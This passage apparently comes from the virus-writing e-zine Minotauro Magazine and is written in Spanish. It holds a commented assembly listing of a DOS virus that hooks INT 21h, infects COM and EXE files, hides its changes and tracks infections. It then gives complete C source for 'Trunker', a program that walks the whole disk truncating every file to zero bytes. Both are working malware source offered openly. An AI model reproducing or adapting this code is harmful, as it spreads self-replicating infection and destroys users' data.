quitwrite:
       POP     SI
       POP     AX
       JMP     quit21

call21: ; para llamar a int 21 original
       PUSHF
       PUSH    CS
       CALL    quit21
       RET

rescheck: ; chequeo de residencia
       MOV     AX,2808h
       IRET

newint24: ; dummy critical error handler
       MOV     AX,3
       IRET

openf:
       ; este es el 1er disparador.
       ; busca el c�digo mas arriba (cmpadd) con el c�digo de retorno de esta
       ; llamada a abrir file (se entiende?)
       PUSHA
       PUSH    ES
       MOV     DI,SP
       MOV     AX,ss:[DI+14h]; CS en stack
       MOV     ES,AX
       MOV     AX,ss:[DI+12h]; IP en stack
       MOV     DI,AX ; ES:DI = CS:IP del llamador
       MOV     SI,cmpadd-vstart
       MOV     DH,3
doagain:
       PUSH    DI
       PUSH    SI
       MOV     CX,10h
keepcmp:
       db 2eh ; cs:
       CMPSB
       JNZ     difrent
       LOOP    keepcmp ; compara el c�digo del CS:IP del llamador con el
       JMP     itscode ; c�digo mas arriba (cmpadd).
       NOP
difrent:
       POP     SI
       POP     DI
       ADD     SI,10h ; si es distinto, intenta 3 veces.
       DEC     DH               ; incrementando 10 del c�digo.
       JNZ     doagain
       POP     ES              ; si en esas tres veces es distinto
       POPA                    ; se va nomas.
       JMP     quit21
itscode:
       CALL    varto1  ; si es igual, pone la var. de activacion a 1
       JMP     difrent

execprog:
       PUSHA
       PUSH    ES
       PUSH    DS
       PUSH    DS
       PUSH    ES

       ; esto es el 2do disparador.
       ; buscar PHX en el environment del programa actual
       MOV     AH,62h ; conseguir segment del PSP actual
       CALL    call21
       MOV     ES,BX
       MOV     SI,phxstr-vstart
       MOV     ES,es:[2Ch] ; ES = environment del prog. actual
       XOR     DI,DI
searchagain:
       PUSH    SI
       PUSH    DI
keepphx:
       db 2eh
       LODSB
       OR      AL,AL
       JZ      phxstrend
       SCASB
       JZ      keepphx
phxstrend:
       JZ      phxfound
       ; no encontro la string..
       POP     DI
       POP     SI
       XOR     AL,AL
       MOV     CX,100h
       REPNZ SCASB
       JNZ     nozero
       CMP     BYTE PTR es:[DI],0; buscar el doble 0.
       JNZ     nozero
       JMP     searchagain ; si encontro el doble 0, busca de nuevo PHX en la
                                       ; siguiente string del environment. ???
                                       ; busca en nombre de programa actual?

phxfound:; 2a9; encontro la string "PHX" en el environment del prog. actual
       ADD     SP,4 ; desechar DI y SI en stack
       CALL    varto1 ; poner la variable de activacion a 1
nozero: ; 2af ;  no encontro la string, ni el doble cero

       ; recien ahora sucede la infeccion.
       POP     ES ; es y ds originales
       POP     DS
       CALL    dumberr; setear int 24 a dumb
       PUSH    DX
       MOV     DI,DX; DS:DX nombre del prog a ejecutar
       XOR     DL,DL
       CMP     BYTE PTR [DI+1],3Ah; ":"
       JNZ     skipdrive
       MOV     DL,[DI]
       SUB     DL,40h; de caracter a numero ("A"(41) -> 1)
skipdrive:
       MOV     AH,36h; get disk free space
       INT     21h
       CMP     BX,2 ; bx = available clusters
       JNB     okspace
       JMP     quitinf
okspace:
       POP     DX
       MOV     CX,80h
       XOR     AL,AL ; buscar el 0 del nombre
       db 3eh ; ds:
       REPNZ   SCASB
       DEC     DI ; di apunta al 0
       PUSH    word ptr [DI] ; ?
       PUSH    DS
       PUSH    DI
       MOV     WORD PTR [DI],0021h ; poner un "!" al final?
       MOV     cs:word ptr [nameptr-vstart],DS ; guardar el nameptr
       MOV     cs:word ptr [nameptr-vstart+2],DX
       XOR     AL,AL
       CALL    fattr ; get attributes
       MOV     cs:[vfattr-vstart],CX ; guardar atributos
       MOV     AL,1
       MOV     CX,20h
       CALL    fattr ; set attributes to 20h
       MOV     AX,3D02h ; abrir file
       CALL    call21
       MOV     BX,AX
       JB      abortinf
       MOV     AX,5700h ; get date & time
       CALL    call21
       MOV     cs:[ftime-vstart],CX ; save date and time
       MOV     cs:[fdate-vstart],DX
       MOV     AX,CS
       MOV     DS,AX
       CALL    readf
       CMP     WORD PTR cs:[exehead-vstart],5A4Dh; es EXE?
       JZ      isexe
       MOV     AX,ds:[exehead-vstart] ; mandar los primero 3
       MOV     CH,ds:[exehead-vstart+2] ; bytes a los MOVs de
       MOV     ds:[orbytes1-vstart],AX ; la rutina de instalacion
       MOV     ds:[orbytes2-vstart],CH ; de COM
       CALL    checkinf
       JZ      isinfd
       CMP     AX,0FC00h; Size del COM-3 > a FC00?
       JA      isinfd
       MOV     ds:[exehead-vstart+1],AX ; fixear el JMP
       MOV     BYTE PTR ds:[exehead-vstart],0E9h
finishinf:
       INC     WORD PTR cs:[infcount-vstart] ; un contador de infecciones
       MOV     AH,40h ; escribir el virus al final
       MOV     CX,vsize
       XOR     DX,DX
       CALL    call21
       XOR     AL,AL
       XOR     CX,CX
       XOR     DX,DX
       MOV     AH,42h ; ir al principio
       CALL    call21
       MOV     AH,40h ; escribir 1C bytes al principio
       CALL    writef ; 3 fixeados + los otros (originales)
isinfd:
       MOV     CX,ds:[ftime-vstart]
       MOV     DX,ds:[fdate-vstart]
       MOV     AX,5701h ; restore original date & time
       CALL    call21
       MOV     AH,3Eh ; cerrar file
       CALL    call21
       MOV     AL,01
       MOV     CX,ds:[vfattr-vstart]
       CALL    fattr ; restore atributos originales
abortinf:
       POP     DI
       POP     DS
       POP     word ptr [DI]
quitinf:
       CALL    restorerr

       ; esto es el 3er disparador... chequear que el port 3E4 este activo
       MOV     DX,3E4h ; el port 3E4 devuelve FF?
       XOR     AH,AH
       IN      AL,DX
       CMP     AL,0FFh ; si lo devuelve, pone a 1 la variable de activacion
       JZ      notvar
       CALL    varto1
notvar:
       POP     DS
       POP     ES
       POPA
       JMP     quit21

isexe:
       CALL    checkinf
       JZ      isinfd ; si esta infectado, salir
       PUSH    BX
       ADD     AX,0003 ; DX.AX size del file - 3. Osea, ahora le suma 3. :-)
       ADC     DX,0
       PUSH    DX
       PUSH    AX
       MOV     AX,ds:[exehead-vstart+2]; 2 = reminder
       MOV     BX,ds:[exehead-vstart+4]; 4 = Pages
       MOV     CX,BX
       SHR     CX,7 ; Pages = ffff=> 1ff.
       SHL     BX,9 ; Pages = * 200h
       OR      BX,AX
       SUB     BX,0200h ; bx = size real?
       SBB     CX,0; ?
       MOV     DX,ds:[exehead-vstart+14h] ; 14 = IP
       MOV     AX,ds:[exehead-vstart+16h] ; 16 = CS
       MOV     ds:[Instl_IP-vstart],DX  ; Salver CS:IP originales en el c�digo
       MOV     ds:[Instl_CS-vstart],AX
       MOV     DX,ds:[exehead-vstart+10h] ; 10 = SP
       MOV     AX,ds:[exehead-vstart+0eh] ; 0E = SS
       MOV     ds:[Instl_SS-vstart],AX  ; Salvar SS:SP originales en el c�digo
       MOV     ds:[Instl_SP-vstart],DX
       POP     AX
       POP     DX
       CMP     CX,DX ; CX (2bytes + altos de size) = Pages?
       JNZ     notl
       CMP     BX,AX
       JZ      allok
notl:
       POP     BX
       JMP     isinfd ; si no son iguales, esta infectado
allok:
       MOV     BX,AX ; DX.AX size
       NEG     BX
       AND     BX,0Fh ; bx = lo que falta para el paragr.
       ADD     AX,BX
       ADC     DX,0; ugh
       SHR     AX,4
       SHL     DX,0Ch
       OR      AX,DX ; AX = nuevo CS
       SUB     AX,ds:[exehead-vstart+8] ; AX =- header size;
       MOV     WORD PTR ds:[exehead-vstart+14h],instlexe-vstart ; nuevo IP
       MOV     ds:[exehead-vstart+0Eh],AX ; nuevo SS
       MOV     WORD PTR ds:[exehead-vstart+10h],400h ; nuevo SP
       MOV     ds:[exehead-vstart+16h],AX ; nuevo CS
       MOV     AH,40h ; escribir los bytes que faltan
       MOV     CX,BX   ; para el para
       XOR     DX,DX
       POP     BX
       INT     21h
       ADD     CX,vsize
       ADD     ds:[exehead-vstart+2],CX
       MOV     CX,ds:[exehead-vstart+2]
       AND     WORD PTR ds:[exehead-vstart+2],1FFh ; fixear el reminder
       SHR     CX,9
       ADD     ds:[exehead-vstart+4],CX ; fixear las pages !
       JMP     finishinf ; ir a finalizar todo pipi cucu

checkinf: ; rutina chequeo de infeccion previa
       MOV     AX,4202h
       MOV     CX,0FFFFh; -1
       MOV     DX,0FFFDh; -3
       CALL    call21 ; ir a los ultimos 3 bytes
       PUSH    AX
       PUSH    DX
       MOV     DX,buff3b-vstart
       MOV     AH,3Fh
       MOV     CX,3
       CALL    call21 ; leer los ultimos 3 bytes
       CMP     WORD PTR ds:[buff3b-vstart],0828h ; es igual a 28 08 93?
       JNZ     notinf
       CMP     BYTE PTR ds:[buff3b-vstart+2],93h ; si es asi, esta infectado.
notinf:
       POP     DX
       POP     AX
       RET

readf: ; leer 1c bytes del file
       MOV     AH,3Fh
writef: ; escribir 1c bytes al file
       MOV     CX,001Ch; 28 bytes
       MOV     DX,exehead-vstart ; ?
       CALL    call21
       RET

hookints: ; colgarse de las interrupciones
       MOV     AX,ES
       MOV     DS,AX
       MOV     AX,3521h
       INT     21h
       MOV     word ptr ds:[oldint21-vstart+2],ES
       MOV     word ptr ds:[oldint21-vstart],BX
       MOV     DX,newint21-vstart
       MOV     AH,25h
       INT     21h

       MOV     AL,5
       OUT     70h,AL ; incrementar el contador de instalaciones en CMOS
       IN      AL,71h
       INC     AL
       OUT     71h,AL
       RET

fattr: ; poner atributos originales o conseguirlos (depende de AL)
       MOV     DS,cs:word ptr [nameptr-vstart]
       MOV     DX,cs:word ptr [nameptr-vstart+2]
       MOV     AH,43h
       INT     21h
       RET

dumberr:
; setear int 24 a un dumb handler para prevenir mensajes de error
       PUSH    DS
       PUSH    ES
       PUSH    DX
       MOV     AX,3524h
       INT     21h
       MOV     cs:word ptr [oldint24-vstart],BX ; guardar int 24 orig.
       MOV     cs:word ptr [oldint24-vstart+2],ES
       MOV     DX,newint24-vstart
       MOV     AX,CS
       MOV     DS,AX
doit:
       MOV     AX,2524h ; setear nueva int 24
       INT     21h
       POP     DX
       POP     ES
       POP     DS
       RET
restorerr: ; restaurar int 24 original
       PUSH    DS
       PUSH    ES
       PUSH    DX
       MOV     DS,cs:word ptr [oldint24-vstart+2]
       MOV     DX,cs:word ptr [oldint24-vstart]
       JMP     doit

       phxstr                  db                      "PHX",0

varto1: ; setear variable de activacion a 1
       MOV     BYTE PTR cs:[actvar-vstart],1
       NOP
       RET
       ; contador de infecciones
infcount        dw      0;en mi ejemplar era 27. lindo numero.. :-)
;3 bytes para reconocimiento... son arbitrarios? Es cierto que parece una fecha
               db      28h, 8, 93h
vend: ; aqui termina el c�digo.

       ;heap. esto NO PERTENECE al virus en si, es memoria temporaria. ok?
exehead         db      1ch dup(0) ; para leer 1c primero bytes del f.
buff3b          db      3 dup(0); 3 byte buffer para chequeo de reinfecc.
ftime           dw      0 ; original file time
fdate           dw      0 ; original file date
nameptr         dd      0 ; nameptr
vfattr          dw      0 ; original file attributes
oldint24        dd      0 ; original int 24
actvar          db      0 ; variable de la activacion
endheap:
ends
end start
// Minotauro Magazine
// Trunker By Jason.
// Turbo C++ 3.0

#include <stdlib.h>
#include <fcntl.h>
#include <io.h>
#include <stdio.h>
#include <dir.h>
#include <conio.h>

// Estas son las librerias necesarias para la ejecucion de este programa

void makdir();
// Rutina de entrada a directorios
void destruccion();
// Rutina para truncar los files del directorio donde entro

void main()
{
 clrscr();
 printf("Truncando files... sea paciente ;-)..\n");
 chdir("\\");
// es necesario poner 2 barras "\\" ya que el C usa la "\" para funciones
// especificas como las que se ven arriba de "\n" eso manda un CR LF
// caracteres 10 y 13 en decimal o Ah y Dh en hexa de la tabla ASCII
 makdir();
// Llamo a MAKDIR
}


void destruccion()
{
  FILE *archivo;
  struct ffblk ffblk;
  int done;
// Defino las variables

  done = findfirst("*.*",&ffblk,2);
// Busco en el directorio actual "*.*" incluyendo archivos ocultos
// Mientras haya archivos..
  while (!done)
  {
     if ((archivo = fopen(ffblk.ff_name, "wb")) == NULL)
// Abro file ("wb" write binary) binario para escritura
       {
          fprintf(stderr, "Error abriendo archivo...\n");
// Si llego aca hay error al abrir el file
       }
     fwrite(0, 0, 1, archivo);
// Escribo NADA :-)
     fclose(archivo);
// Cierro el file
     done = findnext(&ffblk);
// Que pase el que sigue ;-)
  }
}


void makdir()
{
  struct ffblk ffblk;
  int done;
// Defino variables

  destruccion();
// Llamo a destruccion para truncar los del directorio raiz
  done = findfirst("*.*",&ffblk,16);
// Busco en el directorio actual "*.*" incluyendo directorios
  while (!done)
  {
     if((ffblk.ff_name[0] != *".") && (ffblk.ff_attrib == 16))
// Si es un directorio.. que no sea que su primer caracter no sea "."
// o sea "." o ".." entonces entro
       {
          chdir(ffblk.ff_name);
// Entro al directorio que encontre
          destruccion();
// Trunco los files
          makdir();
// Me llamo de nuevo
          chdir("..");
// Vuelvo al directorio anterior
        }
     done = findnext(&ffblk);
// Busco el proximo
  }
}